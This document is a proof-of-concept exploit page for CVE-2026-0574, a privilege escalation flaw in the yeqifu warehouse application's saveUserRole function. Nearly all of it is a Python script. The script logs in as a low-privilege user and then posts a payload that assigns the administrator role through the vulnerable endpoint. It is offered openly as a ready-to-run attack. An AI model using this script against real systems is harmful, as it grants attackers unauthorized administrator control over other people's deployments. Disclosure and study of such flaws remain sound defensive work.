CVE-2026-0574 yeqifu warehouse saveUserRole权限提升漏洞

import requests import json # CVE-2026-0574 PoC - Vertical Privilege Escalation in yeqifu warehouse # Target: yeqifu warehouse saveUserRole function TARGET_URL = "http://target.com/warehouse" TARGET_ENDPOINT = "/api/user/saveUserRole" # Normal user credentials (low privilege) NORMAL_USER = { "username": "regular_user", "password": "user_password" } def exploit_privilege_escalation(): """ Exploit the improper authorization vulnerability in saveUserRole function. This allows low-privilege users to escalate their privileges to administrator. """ # Step 1: Authenticate as normal user session = requests.Session() login_url = f"{TARGET_URL}/api/login" login_response = session.post(login_url, json=NORMAL_USER) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated as low-privilege user") # Step 2: Exploit the privilege escalation vulnerability # The saveUserRole function does not properly validate authorization exploit_url = f"{TARGET_URL}{TARGET_ENDPOINT}" # Payload to escalate current user to admin role exploit_payload = { "userId": 1, # Target user ID (typically admin or self) "roleIds": [1], # Admin role ID "username": NORMAL_USER["username"] } exploit_response = session.post(exploit_url, json=exploit_payload) if exploit_response.status_code == 200: print("[+] Privilege escalation successful!") print("[+] User now has administrator privileges") return True else: print(f"[-] Exploitation failed with status code: {exploit_response.status_code}") return False if __name__ == "__main__": exploit_privilege_escalation()